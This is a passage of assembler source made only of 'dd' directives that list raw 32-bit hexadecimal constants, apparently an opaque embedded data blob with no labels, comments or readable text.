2009110h, 78AF69F3h dd 7604085Dh, 4EDE01D6h, 0B733858Fh, 25A89FF6h, 438C2D40h dd 70FE8439h, 0A100087h, 0F351B71Dh, 0FD00A94Dh, 11482CF7h dd 15F13Eh, 0BEEE14BFh, 5DCE75D8h, 0AD537B00h, 8EB49BFCh dd 0A13B009Eh, 15C3F52h, 121EDF32h, 88F04A20h, 731838Dh dd 0DB1E8E57h, 5C9093C6h, 5E1687E0h, 0DC0EC1E6h, 83117D78h dd 786FDB54h, 197C20h, 72C1A999h, 0E59D585Bh, 9E1E412h dd 394F8300h, 0DC2EFFh, 6351C384h, 0F3B283D1h, 9CFB291Fh dd 31D38F80h, 281C8E59h, 143CC8DBh, 9051BC85h, 30DF6378h dd 801D024h, 8682B237h, 218E5ED2h, 3A0A2DBh, 1561DC26h dd 0DF93EC00h, 1FA4D306h, 70F4E4h, 2361614h, 0A7C48907h dd 5537C603h, 0C0FE9D1Bh, 134BE1FCh, 0C00B25h, 0C332EC4Ah dd 302C561h, 0EAF1B322h, 0DCD8A07Ah, 0DE494296h, 580429A9h dd 5F60CAEDh, 0FC8B8910h, 13315C2Fh, 220FCB00h, 61F36A23h dd 0CC06A800h, 90A12DFAh, 0AE333D73h, 1090196h, 598F5663h dd 0BBEBEC23h, 0D8BDFC00h, 4CB569D5h, 370300B9h, 368379D3h dd 763D86C6h, 0C1888378h, 0A8D11EBFh, 715335Bh, 39BE1314h dd 0C732A0FEh, 5F006CF8h, 7EEB2201h, 291D83h, 0E171667Ch dd 0B53E4926h, 57B07F00h, 0C24609D2h, 0E34200B2h, 0C7522C0Eh dd 0BB00BD1Dh, 90FB2A0Dh, 0D0C046h, 3CD3EC60h, 9CF8583Dh dd 0A61272F4h, 971C2F99h, 0C025818Eh, 0F66071Eh, 9D8A00C5h dd 7E43A7A2h, 480038C1h, 0A91EF301h, 6BF062h, 0F7470BA6h dd 0DF316F80h, 85D45B00h, 0A0DBD396h, 74150FC5h, 0FAC71C63h dd 1A57E0C2h, 0D115B498h, 0C4A33Ah, 0B5015091h, 2FB951h dd 5DED3E0h, 0A1575E68h, 0B1910E0Ch, 109581Ah, 76B3C3B0h dd 69E8C9h, 0F6FDE6Eh, 2329724Ch, 0AB1EA340h, 9E09E37Fh dd 806166BAh, 593FB30Bh, 416202BFh, 59D1381h, 0AF40048h dd 6E3A0B00h, 0D3311F9Fh, 0FBF5282Ah, 9C1500ECh, 0BC34DF14h dd 7AFC8132h, 380BC000h, 87FF6E7Eh, 0DD14004Bh, 89925A7Bh dd 800A881h, 0E4E6736Dh, 723C13E0h, 1B7837B1h, 0C76820C0h dd 4009187Eh, 20BD1FF3h, 9E0E5300h, 0DF2C16A5h, 0CB0A074Dh dd 15D560DAh, 0C9002D33h, 36717453h, 8B66FEh, 0A70B58A3h dd 0C1573CECh, 8DE8F500h, 4FBFDFA5h, 0CADA02F7h, 0E98209Ch dd 1BABBA63h, 94BF102h, 0E294486Dh, 40A00E83h, 0BB0D0714h dd 0AA3A00D9h, 0F9FDAEA3h, 0CE3B8BE0h, 0FB38B4h, 8FD8A833h dd 87F6A7h, 70D2F964h, 912C1603h, 3EEE5E00h, 14AEC272h dd 33AFC15h, 0F27DF9EDh, 0AAA8A385h, 4700BE8Fh, 78F6C288h dd 5C8915Fh, 3944CE18h, 0CDD802CFh, 0CC400773h, 0F509FC79h dd 0DD3C0Ah, 0CB80AD82h, 0AC241EB2h, 0A740C06Bh, 93F43D74h dd 730EC6E2h, 9D954FB5h, 0C4000296h, 0F78008BFh, 9CF0003Fh dd 0CA8A229Dh, 0EB00600Ah, 688F6E92h, 0BC747C3h, 0D3D0E5E9h dd 0DFD48780h, 0E4285E46h, 0A975A854h, 4EB39CA8h, 83D0F43Dh dd 0C770CDF0h, 0BC68C802h, 0E86400E5h, 4D7D4A1Fh, 97F02D3Bh dd 94A0F1F8h, 300098FEh, 73C09046h, 48DDEAh, 0F0B59CADh dd 28B796DEh, 0C681D300h, 2F85FC44h, 0D1A00C2h, 0C4B10372h dd 4300E5D4h, 0D030CA86h, 12A52842h, 0FEFFF93h, 0C5C154CDh dd 0E026D40Bh, 2F0784B6h, 0ADC1C30Fh, 139F53E0h, 5F331FABh dd 0A2E3036Dh, 4803F2A5h, 4EFE0F3h, 1D48E3B2h, 0C5A02034h dd 807622E2h, 0A132ABBBh, 440DC100h, 31E028B0h, 68840011h dd 5A76EF1h, 4B3B2BC4h, 23A180BCh, 9743465Eh, 36BA0045h dd 294A48F7h, 6E003F31h dd 5A7EDC5Dh, 5CC84Eh, 2841C650h, 0F1DF1623h, 0EADD8200h dd 0E4845961h, 90BF00F4h, 6CC66217h, 4B24098Ch, 0B603B078h dd 80144F3Fh, 0B5B9EFEh, 0C4FD3420h, 6F578580h, 11C05AA7h dd 6B6522DEh, 9EE0A806h, 0C1B60E3Fh, 69A4E541h, 3428D0D8h dd 0E00AFAC9h, 8C50E192h, 89959300h, 3A0949h, 0B37D69D7h dd 9856DDC9h, 0F2EBE707h, 5C10B446h, 2BDFE8h, 8EE7A58h dd 0F83C23A0h, 0E6875900h, 9226F901h, 49EA009Bh, 6FB83BB0h dd 0FC901EC8h, 0B1DCE00Ch, 4D80C8C3h, 98004437h, 2F7F0D3Fh dd 3800ED21h, 0A27699B6h, 259E87Ch, 56F6B149h, 840C769h dd 8876386Ah, 33C28700h, 5B7436A2h, 0FEB003A9h, 61378B2Bh dd 6DF32050h, 0CCF53203h, 2E24641Ch, 3E44718h, 3FC692D7h dd 0E541000h, 0CD242B6Ch, 1AF7585h, 920A7376h, 305AFA52h dd 75004AD4h, 0B9670DB4h, 468854h, 80103245h, 99774809h dd 6DEA8A00h, 49B4C706h, 7D7C3B6Eh, 10D4780h, 1A2E3807h dd 0FE44C00h, 45A71395h, 974D1259h, 0BC120094h, 71D0DACDh dd 0E4F9938h, 0E02622B0h, 0E5C72791h, 0B7D73B72h, 3A4ED800h dd 76074BACh, 0A8EF8500h, 0FD0E4115h, 518A03B9h, 81DD66D0h dd 8BAC4388h, 0FBB5A100h, 0A9768065h, 0D6A00110h, 0F66706F7h dd 0E820CDDBh, 2600C5B9h, 0F9F293B6h, 4A543Bh, 0F0FBCF3Fh dd 96EAAA55h, 44003AF2h, 5649A128h, 1F666A15h, 367DC9h dd 0DF7C2168h, 69045E4Fh, 0F93F2E34h, 38483C80h, 0FAEB005Bh dd 43132DE2h, 0C8005020h, 5D6B2CF3h, 7ED78CADh, 2FA03ED2h dd 51DAE082h, 834113FFh, 4E1980C9h, 0A82C8C7Eh, 0FEE1009Dh dd 6BCCBC35h, 7031ADEh, 4CF28AD8h, 0AFA600D7h, 0C7038155h dd 2FF0DC0Ah, 0CD626805h, 44C036F1h, 920284h, 3039FED7h dd 1DB6E7F4h, 0C078BA6Fh, 0A6370753h, 32CC0059h, 33BC694Ch dd 5E00BBDCh, 510F1318h, 9794F2h, 0CD77911Dh, 0BA428A45h dd 0AE389301h, 4818EB9Fh, 2336E8h, 0FE4B67B6h, 7E094357h dd 0F444E524h, 7104F91Eh, 8090F0A0h, 77F76350h, 9F8D00E1h dd 3D57FCAAh, 77030919h, 0D7E2E875h, 36C88030h, 0A99D0249h dd 87C6D2A0h, 676949E0h, 4B955724h, 26D3AD00h, 5542120h dd 7781143Bh, 358204DAh, 0B508C030h, 75F0290Bh, 0FB11C260h dd 4AB23928h, 0DD7031A8h, 37C29A0h, 2431DB8Bh, 7008018Eh dd 4C63DC3Eh, 58BE402Ah, 0E2021306h, 1A7FE4A4h, 0A0A2809Fh dd 3E5F1C46h, 0ED4C2277h, 0FD0B9A00h, 5B0C97E9h, 0BFB77A0Fh dd 5380610h, 0BDC4000Ch, 1FEF163Ah, 88E4504Ch, 0C96370C3h dd 0C07CB083h, 0B0DA6042h, 98A36BDh, 0FF009FECh, 0A5349485h dd 205EE6F1h, 1C94884Bh, 8451BE58h, 3019AF3Ah, 0E8D26164h dd 1C5F288h, 27AE7B08h, 0EC609CD4h, 873D0A13h, 0D7E50011h dd 5D37F79Bh, 28AC4C55h, 0FE9AA100h, 38B433F8h, 0BC2FD307h dd 9E50F349h, 4CDC652Ch, 36009970h, 0E6D44FBBh, 7100F49Bh dd 7D03A13Dh, 36FA66Ah, 35CA2A61h, 18A039C4h, 0A7007876h dd 8DB70114h, 15F7BDAh, 37D086D5h, 0F0F50A07h, 837C0B2Ch dd 4005261Fh, 0D840E2D6h, 62C73DE8h, 0DC490C7Dh, 19096550h dd 354821C2h, 85ECC0C7h, 700302A6h, 0FCD5878Eh, 0D8000C58h dd 48AB8DCAh, 3FBAC902h, 0FF03D44Eh, 0C17E08F3h, 527728DEh dd 54D0344Ch, 50003C18h, 3BB22FC0h, 0CCDA7C29h, 9C212609h dd 0DDC0570Fh, 0E221E061h, 0F0F38388h, 89C70D68h, 29D8167Ch dd 5D6A0350h, 92ED59h, 0A3667011h, 0DC56F561h, 9EFD090Eh dd 636489DBh, 0A28EC880h, 8AF30FB9h, 0AE2765D6h, 0C50500E0h dd 8009CA78h, 266E025Ch, 16907B1h, 4C182524h, 70313B8Eh dd 8CC4342h, 1C4521FDh, 8164182Dh, 0F93E8D24h, 90718015h dd 8E06F643h, 0AF193A6Ch, 570CF8Ah, 602D44C8h, 2363C73Ah dd 0E411317Dh, 0C7362500h, 14A67F4Eh, 0F1412E00h, 0E37B2331h dd 70CE3BE2h, 180B2C50h, 10FB78CFh, 0EA00C57Bh, 4E3279EEh dd 0FD23113h, 2864AA8Dh, 7FC23900h, 0E01BE20h, 2E91F9B9h dd 5CE8C88Eh, 0EECD1E90h, 5BD341BAh, 70557CF1h, 620032F0h dd 83035220h, 906F4871h, 954F007Ah, 57292CF6h, 1401D10Fh dd 0A0F4403Fh, 2BDC3313h, 0FF6D0E19h, 801D0652h, 44F8EAC8h dd 0AE0C6BC2h, 48741D2Ah, 20460099h, 895A141Ch, 0D007FA2h dd 4DDF3F3Bh, 60FAC113h, 2B7471F3h, 5F002566h, 0A377E7B1h dd 37E9ACh, 1A01A2D3h, 84DFA465h, 0D50ABF00h, 2F33664Eh dd 9C9A0079h, 0F2E371C0h, 0A528CD70h, 3E1ECA5Dh, 75004C9Dh dd 45366206h, 0E68A70CEh, 51E53D0Bh, 182BF68Eh, 0BE62D4E0h dd 0CF0EDCEEh, 1B9ECC7h, 0E7246D6Fh, 0EAAE9881h, 8322CAB8h dd 819D0B38h, 61A97B30h, 56A03073h, 0EB208017h, 7C9DF9B5h dd 0D00C1DACh, 573C0082h, 26199F69h, 56D2C8C0h, 3534C05h dd 0E77F38BFh, 57A06855h, 31008EBDh, 3ED2C594h, 0CCEDC09Bh dd 2E214709h, 0DF942F00h, 0BBF0E8AAh, 876900FCh, 0F9E6E7F7h dd 8900B358h, 26CD826h, 3A6D22D3h, 6F83717Ch, 6EC0CF39h dd 49D4800h, 3432F988h, 46781923h, 81A80824h, 881CFF21h dd 0D9E0C485h, 2E822644h, 9BBF0050h, 5BB9DBFDh, 0EFA34900h dd 0BD357F6Fh, 54573A1Dh, 0C5774060h, 0EE0131ACh, 0D67D7B19h dd 7CD17A01h, 6816219Ch, 1C6707EFh, 0B0839BC5h, 74EFE37Ah dd 7BFDA40Ch, 0C05760B2h, 0E9BCDF31h, 0D8CE25E5h, 0A9D7CC74h dd 61EB3B1Eh, 5FED6F00h, 67E8A1C0h, 1D6C773Ah, 0EF80C534h dd 87826D64h, 93513A3h, 0E1690CA5h, 21C08309h, 0A7A39F22h dd 32DA005Ah, 39EE747Ah, 6B0019E2h, 0B9687E71h, 0F0F9A664h dd 5010C077h, 0C6D6C2A1h, 0A9D8400h, 200F5801h, 4AF5071Bh dd 605F2933h, 1E8F9E54h, 42233Ah, 11AB7521h, 14EA4C39h dd 0D067D4BBh, 9CF9B07h, 0F87390B1h, 0E81FF7F2h, 15807D33h dd 0C2918ADAh, 527E0650h, 30D2258Dh, 0BFE70C0Ch, 0F0DA18D0h dd 6C48C66Fh, 0CEFC5155h, 4F59EA00h, 26DB1127h, 4EC8000Eh dd 0C564F131h, 28C06CB7h, 0B4C7336Fh, 0E9D0079h, 0D241916h dd 0A9004EDDh, 0D168BC45h, 7164ABEBh, 70CC60EFh, 0E8905401h dd 0A206A67Bh, 4740CFF4h, 0B86C39B0h, 8815C600h, 0E69152DDh dd 6600CA74h, 0B570AC28h, 0B0FB45h, 1B2D34B6h, 9CF55583h dd 82DAC906h, 60D666h, 6E12E8F0h, 5EE4CD6Ch, 8CC6980Ch dd 6053B171h, 36F0F1A6h, 701F4F16h, 9503D204h, 0A80CC05Dh dd 0EE6A74h, 0FF5F76D5h, 456F7719h, 71424D00h, 0A29D2AE8h dd 5715008Dh, 0C4D96C64h, 0B500CC40h, 9707CB60h, 0AE8579h dd 4CD5E42Ch, 5369FEFDh, 95E4900h, 6D08BA1Ah, 5BFF07E1h dd 52248Eh, 0CB14AE65h, 3E673200h, 33B380E9h, 9CDE00FEh dd 5750C811h, 3200E612h, 0C3B9BCF5h, 0F2EC0F9h, 0B1F42F0Ch dd 0B780EFEEh, 71304F79h, 69B69409h, 0F88E06FCh, 56DC00A8h dd 0F46DBB0h, 0C80036D5h, 0C7B56D14h, 0D17DDFh, 34DC0BDEh dd 0B29E925Dh, 12AB338h, 0C1FE9C83h, 0A9D8AAA6h, 0C71B00FDh dd 12AE0D08h, 220E8B4Bh, 18ACCEh, 80CDC3FFh, 3EC87FBAh dd 0E81F92B4h, 88F60062h, 62AA451h, 0A7E5ED0Eh, 37E28003h dd 0F3FDA2h, 0E0C93D7Dh, 488D79D8h, 4200A07Ch, 0E3249DCDh dd 0A2DF6629h, 3041F0Ch, 0A3E277E8h, 601D80E1h, 0B50023F9h dd 0A05F0421h, 4549C1h, 3E56109h, 838AA31Eh, 29DF76ECh dd 4BA508A1h, 0BE84CF90h dd 4219487Fh, 0EB24492Fh, 0BCA25920h, 0AE085D81h, 84574844h dd 5174BF31h, 0A6111071h, 10331256h, 55887EBBh, 0E277890Dh dd 44213F24h, 82691260h, 24212D14h, 0C49E235Bh, 143CED4Ah dd 472114C8h, 9166B108h, 7AA10081h, 0D1826A54h, 76D60041h dd 4C40E3B4h, 1200FA15h, 83C8F037h, 79657Dh, 24F2C471h dd 771DE909h, 0BA338E00h, 5BE1A70Bh, 8010030h, 0F5AB7C3Ch dd 3A0013BDh, 31680F60h, 0FF7026Eh, 0A15BCD3Eh, 80BF1B2Fh dd 0F5805D11h, 0E6EAF3DBh, 3BE9D900h, 0B131A3Ch, 6E860089h dd 7254FBFh, 0D0F466B3h, 0BE98381Eh, 91DDE0DEh, 0CD841540h dd 3BFD61h, 0A1214F6Dh, 70DF2D7Ch, 3FF12A12h, 8E2BA304h dd 9002885h, 610B1658h, 82E95839h, 0C0B45A05h, 97C2001Ch dd 0DB93464Fh, 91F8E006h, 0B070CFE4h, 0C7E4ACh, 0ACFE15E2h dd 3B9221C4h, 68A510C7h, 3A29CDF1h, 38807D03h, 4B0167E0h dd 0B5992FD7h, 40DE9731h, 11C6A68h, 0FAA6E90Ah, 0EC47F153h dd 0DD006E3Bh, 8ED0630Eh, 731D35E8h, 0E3F4009Eh, 0CDBC1A74h dd 970EE19Ch, 207BDD6Dh, 0DE17F8B6h, 0C5C80008h, 0CFA76CBAh dd 443F3364h, 4F007751h, 0B0A2D42Eh, 73409FBh, 90E51265h dd 6CFEF0D1h, 3C076A72h, 0C9A08902h, 0BD288EB0h, 852E0F2Ch dd 88803D42h, 324E7486h, 0C5D16006h, 70E038FDh, 78507B2h dd 7035343Dh, 1E3AE5F7h, 22638C01h, 6C1D48EFh, 492D60h dd 14C7DD90h, 0F986D49Fh, 0E8E4012h, 0FC231800h, 0F0850658h dd 69781FE2h, 0B8AE8017h, 6BA4D6EEh, 731A4F00h, 5EC329B2h dd 0A039509Dh, 325300B0h, 0A8A5D8E3h, 84037214h, 0E89EB881h dd 0A33DD8E4h, 6C710FA2h, 0BF4ED919h, 22CE3E60h, 1100BC67h dd 238A7C43h, 984E1AEEh, 32FF24CEh, 73840050h, 0CA188171h dd 6B82005h, 0F6C0216Dh, 0F654C3DDh, 0E9BE0084h, 9D19D97Bh dd 4400F6FAh, 0F769E1BFh, 17F8FC17h, 7C5C2B3h, 0F0892340h dd 0FB24FD2Ah, 64C49600h, 0CF45F060h, 2A97B67h, 8F665022h dd 0AC80DFC6h, 3CC4179Eh, 9209BEF6h, 0A0026AE1h, 0B975C6A8h dd 724000DBh, 0A68FA168h, 0D53D550Fh, 24FBA447h, 0BA44BC04h dd 9F870890h, 28290BCCh, 0D5804B9Bh, 1C43F13Ch, 8ECBD600h dd 54694E75h, 177C004Fh, 790883CCh, 597BFCC2h, 5CF75200h dd 0E3833F2h, 86960018h, 2210CF30h, 0D000CAC6h, 52E891BFh dd 43991Dh, 0E4FA9AA5h, 7A531E49h, 0FB625A17h, 670E42A8h dd 25208CB9h, 2D4AA73Ah, 0FE582900h, 0CB300187h, 0B3F446h dd 829819DAh, 8FAE77DEh, 9CF1D200h, 0C2D3AAEAh, 0FD780015h dd 2C7E856Dh, 0B40021C9h, 0F8A12018h, 0C22E1h, 1DBFBC2h dd 0ACC392BBh, 7269A000h, 591676B8h, 64381E14h, 620FBEBDh dd 0C0DE9DF7h, 0FBE1E24Ah, 0BE00822Ah, 3DB18E1Bh, 1C5367CBh dd 289FF7E8h, 0CF7F00ACh, 0FFE5A765h, 100CB09h, 0A3A25D8Bh dd 265494F9h, 787A83h, 7FF07305h, 9FF8E7C0h, 807D1E3Ah dd 0C7E42D1Bh, 35FD2Ch, 0E439B31h, 0B95193FCh, 60D5BD07h dd 7FB1F61Ch, 0C6012B5h, 4F78DBh, 0F427B9DCh, 0FB135B86h dd 93241C14h, 0BB9800FCh, 27609B1Eh, 0CF670280h, 0A42D83FAh dd 640FD8Eh, 65445A07h, 0E033FFAh, 0F081B499h, 669B9842h dd 16270461h, 8435FCF2h, 67B480EAh, 3D072CC3h, 41101FE5h dd 70DDB080h, 0D73B9h, 44E99D5Fh, 1CD31ACBh, 3D961B00h dd 3AFF5727h, 9F54005Ah, 5D7ECF23h, 71071251h, 0C94EBFEh dd 0CDAC7261h, 413760h, 0CCA2FC04h, 0E3873158h, 0D4AD6000h dd 8C4D4F01h, 36470F12h, 0F6095B1h, 0A2A11B96h, 5A4BB803h dd 0D87DDEFBh, 5C79C3h, 0CEE6B068h, 9805D04Ch, 7489B30Fh dd 87D780F1h, 3FB526C0h, 19008F2Ah, 0EB73A44Bh, 0F60442F8h dd 3824D035h, 3BACF880h, 5482394Ah, 10DB0F80h, 99035318h dd 0B000E49Ah, 0BBD207EEh, 0E4CDD02Fh, 5BA800B8h, 1AB6760Ch dd 271EF1A4h, 22408E51h, 2F7FC27Eh, 0C55C1D3Bh, 0B71B80FBh dd 0C6928758h, 10032F0h, 83ABB271h, 2E1D338Bh, 274A805h dd 3A6D5570h, 4D0A5C60h, 0C59E9712h, 0E05CB400h, 0EE7039h dd 86A9AA48h, 0C19720CDh, 1001CB78h, 6DC3901Fh, 0D0D75823h dd 0CBBDB5Eh, 0A9EC65F5h, 0AF007A30h, 3AD4304h, 28E3CF34h dd 3AC187Ch, 5CB1E072h, 0CBBB65A3h, 2B2ED088h, 8EA53Fh dd 9A84ADC4h, 191869h, 0FAC11F7Ah, 0E6174249h, 40E942B7h dd 0F29E73Dh, 15B18A97h, 33C7A580h, 2E00BF90h, 560C628h dd 486BF822h, 0A6003BC2h, 0E90CF675h, 0E1004DADh, 56ACB0DDh dd 1F3325h, 677F2AEBh, 2B54F6FBh, 0D470C40Fh, 0B199E059h dd 744C5EF3h, 47712Fh, 758121AEh, 22B67AD7h, 0D9D69400h dd 0B5384CEFh, 9B6A00EBh, 6C0D4BAEh, 2E03BA3Bh, 58968CC6h dd 0A4DDA83Ch, 0FA140006h, 8B7BAC4Ah, 0D71DD87Fh, 62C0D412h dd 0E05AFCB1h, 7CCFC2Dh, 0F5A13EDFh, 0D64A8001h, 2C00088Eh dd 0AEA9C121h, 383C9606h, 0FD007776h, 7A227D41h, 50087D6h dd 27739329h, 28F2F3h, 840D07FEh, 0BE24C98Ah, 10C40B02h dd 40B4269Bh, 0E92901Fh, 8BA4AC81h, 0CC404CEFh, 0DCA86EECh dd 1A07F300h, 572ABAE1h, 9E873FE0h, 3BE38D80h, 6203E6C0h dd 726A3A00h, 19A1C4D0h, 6EC80F5Fh, 14E08D94h, 0A0971305h dd 7C167400h, 9A0C8946h, 8CE654h, 5FF2D7E6h, 8BB03B83h dd 0D9931300h, 0C5362AEAh, 0C83907C2h, 0EE51145Bh, 74549B60h dd 63064830h, 223583CFh, 9D7C86h, 0F1C25BACh, 0D690CC5h dd 8724E900h, 0C060D756h, 9884008Ah, 700B145Ah, 78008039h dd 579A8F64h, 750F6E05h, 0FDAC0FFAh, 7C807DEBh, 484D238Bh dd 0AB0352F0h, 6084CFBh, 0ACD6B87Ah, 987F1Bh, 0EB13342Eh dd 68E9B763h, 4B33BD01h, 726DA901h, 5109F8h, 86139695h dd 0B28B4538h, 97E2A500h, 9C26DC90h, 1C5739AFh, 7419B305h dd 0BFEC0B88h, 0C4CB2601h, 695BC029h, 22808A00h, 3241D330h dd 0C25E0BE2h, 8E005A76h, 0A254995Ch, 0BE0021FCh, 2E3C6DB0h dd 0C58D14h, 27DE29A6h, 0C7785999h, 16FB260Fh, 30A1C3E5h dd 0B0400163h, 0F82479E7h, 0DEDF440h, 0BE108B1Dh, 5115D440h dd 7B2E7D54h, 483100D8h, 41D604CFh, 7A002777h, 507E93E9h dd 1B2DFEh, 967CA573h, 0F983D365h, 6B5B700h, 210EEC4Fh dd 0F38500D7h, 50A741BCh, 4A051D16h, 43B64EBAh, 0BF37BC01h dd 88207DD8h, 0D05B0061h, 0ABE27BDCh, 2A00A1DDh, 0FC9130F9h dd 7C04622h, 41C9F583h, 115F80A9h, 350510DCh, 95A596CAh dd 0E8FEF402h, 0C21DE12Ah, 65022C22h, 299C5571h, 0CE3C8843h dd 16B9F06h, 27DD7744h, 0CA267C80h, 227288h, 3F1D1E91h dd 9DD142B6h, 0F5E2E53Ch, 709C200h, 7F7DF7FAh, 0F3A4A0BBh dd 0BDDC0094h, 41D04ED3h, 0D91D6696h, 74248D5Bh, 0FC865100h dd 215EC10h, 61A16E6Dh, 0EC807B7Fh, 49F0CE37h, 0D5269F1Eh dd 35F9C8C0h, 167651Eh, 178463BAh, 40C0AC1Fh, 5079AFAh dd 0B9780B00h, 0DAD47AB0h, 7D5D01FCh, 84DE5377h, 0E815F950h dd 0FE7AD0BDh, 71B43C07h, 941A702Eh, 7907E283h, 8D2600EBh dd 0BCC39794h, 0E5000D6Eh, 48D7D9D0h, 7695B525h, 46CF0577h dd 11DDA43Eh, 0F408C0BAh, 49004389h, 0B9B5D75Ah, 7D650308h dd 0F54FA5CFh, 2B99A000h, 5AF98E17h, 0F3120152h, 0B2EDB1F6h dd 9D60249Ah, 563F7409h, 0A120810Fh, 0EFE07BB4h, 0D4E25Bh dd 888A18E0h, 9E3B2130h dd 57004376h, 2F1D8FBEh, 7C07FFCEh, 18A91E96h, 7A5744h dd 47DF4924h, 7D18C687h, 50292EBBh, 0A5BF00A7h, 2F100AD5h dd 0EA00BE90h, 0D7962C0Dh, 9913E0h, 0FCA524E6h, 0F87C04Fh dd 0BDCEFD03h, 906AD440h, 0E95F8F5h, 81A949E3h, 0E9FB2100h dd 0A7EA4266h, 0C1DF4600h, 0DDFE5288h, 0A68D00E3h, 0BBF4B6A3h dd 0C7006D4Eh, 0E06CD221h, 0D77F48h, 5C2CE75Eh, 354612E2h dd 8C56C100h, 0AAED9D13h, 6D9893h, 3759EE55h, 6EA56680h dd 73BB0900h, 679C7C2Dh, 5DB0002Bh, 60B9B397h, 4EE02152h dd 56F18400h, 405367Bh, 0CA380026h, 1D1C7D97h, 0C50024F0h dd 0EEA1753Ah, 0EC266F4Ah, 48C40429h, 807AF887h, 0B165E548h dd 285E58h, 0AA5FB827h, 1DC4CDBAh, 40D1E23Ch, 0EC512099h dd 7300BFE7h, 7B2ED3D0h, 3724E7Dh, 52D41CCAh, 0CCE3F463h dd 1340A8A8h, 4FCE4900h, 922A239h, 0DC890048h, 43716B95h dd 8200C503h, 50CBFC0Eh, 3C6A98B0h, 0C894BEEDh, 472B8F5h dd 2C3D5EC7h, 6D0980D3h, 2900270Fh, 44465A52h, 1EC32CBh dd 0C27F9EEAh, 701D4E06h, 7200B4D6h, 99221E93h, 202E42Ch dd 16B5554Fh, 0B881541Ah, 10D23495h, 20F8E0h, 0B78FDF37h dd 0BFA3784Eh, 1EFB4948h, 32C0D984h, 146A67BAh, 341B00E4h dd 887612F6h, 0FF2698D1h, 1D13CCF5h, 3782DC02h, 4E3800AFh dd 2049B42Fh, 80EA2CB8h, 12268400h, 3CB4CFAh, 5DC845C3h dd 7FD8A968h, 7715ED6h, 1B04Ch, 9961851Ch, 3C9FE04Eh, 0E1817331h dd 5505DC8Dh, 5F15CC35h, 4CDB4F5Ch, 0A1CA0C91h, 0EA6B107Dh dd 139407C9h, 85AF48F8h, 5C7680B4h, 0ACA0C87Eh, 0F501A222h dd 0A0402F07h, 0AFE00280h, 0BA4972h, 0FF14AB1Eh, 54803C58h dd 62308524h, 0C7EE7900h, 2945ED01h, 75A70E65h, 0D0436070h dd 0E69871BDh, 20004095h, 0F55C99Ch, 0E1A948h, 0D6B974FBh dd 0C35DCD2Eh, 96E8770Ch, 6F2CD2h, 8FE22DC4h, 58DDBDB2h dd 0CE665400h, 0BB1DBAD3h, 60B2F8h, 0A47202D8h, 822F0640h dd 55502200h, 3BAF794Fh, 542A00F3h, 0A4F43223h, 191CDD63h dd 0BA033601h, 0F88A33A9h, 0A34B0h, 0EF8548CBh, 0F6E40B53h dd 0AF0007E4h, 9165B1ABh, 7D23D7C9h, 73371BAh, 633B444Ch dd 70802F6Eh, 383C0B1Bh, 0D9A4E150h, 0D000CEE2h, 267A7E5Ah dd 3A175FBFh, 378020B9h, 9E851B14h, 0F1D157Bh, 0CEC076B2h dd 0E8449BD9h, 0AF870040h, 9414DD86h, 1E090AAAh, 57092Dh dd 0A2E58550h, 8924A193h, 4D6B7DCh, 0CDA0F6E1h, 0CCF0C136h dd 0D22FF09Eh, 93F8667Fh, 380094B8h, 0F0258FE8h, 0E91B0F6h dd 4AF418Eh, 40FCD7A0h, 633F0556h, 620781C0h, 0F08C1DFDh dd 3E7736BCh, 90871468h, 623606B6h, 6840AC6Ch, 5A006F93h dd 0E94329B9h, 0FCD79D87h, 0FC7734h, 28F86007h, 765B4740h dd 1133C40Bh, 913C270Bh, 544882FBh, 6900C820h, 116D0033h dd 0B17F2C51h, 6B00CF85h, 9D146048h, 3AF08A83h, 0FA8070F8h dd 87E0776Ah, 4F000FDEh, 0AD8E7A23h, 2C155080h, 0B46539h dd 0AAAF132Dh, 0CE0F5DD2h, 6BC631h, 0CADC507h, 0E46A3BD5h dd 20652926h, 0F57500DCh, 9FF8DF3Ah, 7C00B458h, 5CD2C0EAh dd 4E63C6h, 9688D107h, 0DD8F98DAh, 34519116h, 0EE53D820h dd 60CB457Ah, 0FD015926h, 69138DDBh, 0E4329FD3h, 18815C01h dd 43B2B97Bh, 6E802EFCh, 5F5885E1h, 5B1208A8h, 3626024Bh dd 13601A34h, 0CF009360h, 0ADC132B9h, 0F913D4h, 0E6C037F8h dd 2E201840h, 5053E72h, 167A8147h, 0F2FD4CC0h, 64172E0Bh dd 42444h, 31580EF3h, 10C03603h, 0A0AFB64Ah, 3D7E05C5h dd 0C0C9669Ch, 0F03BA9F0h, 0B601AE01h, 610A912Fh, 7FC6B30h dd 63D74B4Ch, 0DE4760B1h, 0D30087E2h, 2BA30599h, 2C7BF7EDh dd 0E79358Ah, 0F020BF73h, 1C67CED3h, 0CC87A013h, 93C90900h dd 79BBB6h, 0D90D121Fh, 0E73BEDE2h, 0A9C68800h, 0F3CC71A3h dd 2255042Dh, 0C04B1F96h, 0EEC4AA20h, 6F08C901h, 0D8AF8A51h dd 9A40630h, 0A8E0E968h, 7C454C00h, 20007F8Bh, 0C39AB7AEh dd 56BA6Eh, 5F282F40h, 0A0B57BA3h, 8F68FA50h, 7A01D477h dd 0C001A8A9h, 0E0C84E3Dh, 0CA77006Eh, 4CAFCC3Ah, 7400E4E6h dd 0A9C120BBh, 3A98444Fh, 7A807F08h, 8076E050h, 0D50085A3h dd 0B376B2Dh, 9F4E5532h, 19016383h, 8A1135E8h, 0F5B43000h dd 97ACAF60h, 0BC0C000Eh, 0C6CBB73Fh, 7F07DFE3h, 0F09B148Ch dd 17E000F9h, 4A882DFEh, 1DE04066h, 335447E8h, 0F3863Dh dd 0D318BACBh, 9C6DFA31h, 89D10038h, 25AADC9Dh, 8E01B00h dd 0C2426557h, 809C00B6h, 38FFFDAEh, 0D4B94463h, 0C6F4F53Bh dd 0A4021700h, 0B0B87370h, 0E08B007Dh, 0CA915E09h, 800016BFh dd 5ACAB06h, 2E2696D7h, 4CB78Eh, 716D3539h, 3E485848h dd 1603864h, 0E59998B8h, 1470BDBFh, 870C0E10h, 0A660F6A0h dd 0DDCF13F1h, 60C8D301h, 5DAC3EBh, 0B7AB7CCh, 2D872982h dd 0CB37E480h, 1D01AF81h, 62ECE4A7h, 904020B3h, 9EBD73Bh dd 0CEC9A56Dh, 0E01E8684h, 2B002D84h, 0F0E10A9h, 0B587B4Eh dd 972524DBh, 0FBA1888Fh, 80D83491h, 81116F11h, 30C193Bh dd 0FE15B3F5h, 0D1CA39E8h, 6087E487h, 36096C2h, 0CB752500h dd 28911A2Dh, 0C5A1076Ah, 8051F60Eh, 0DD427730h, 22F0EC02h dd 0E00D7E71h, 11EC558h, 883E2876h, 0F0ED1A67h, 0E600EA64h dd 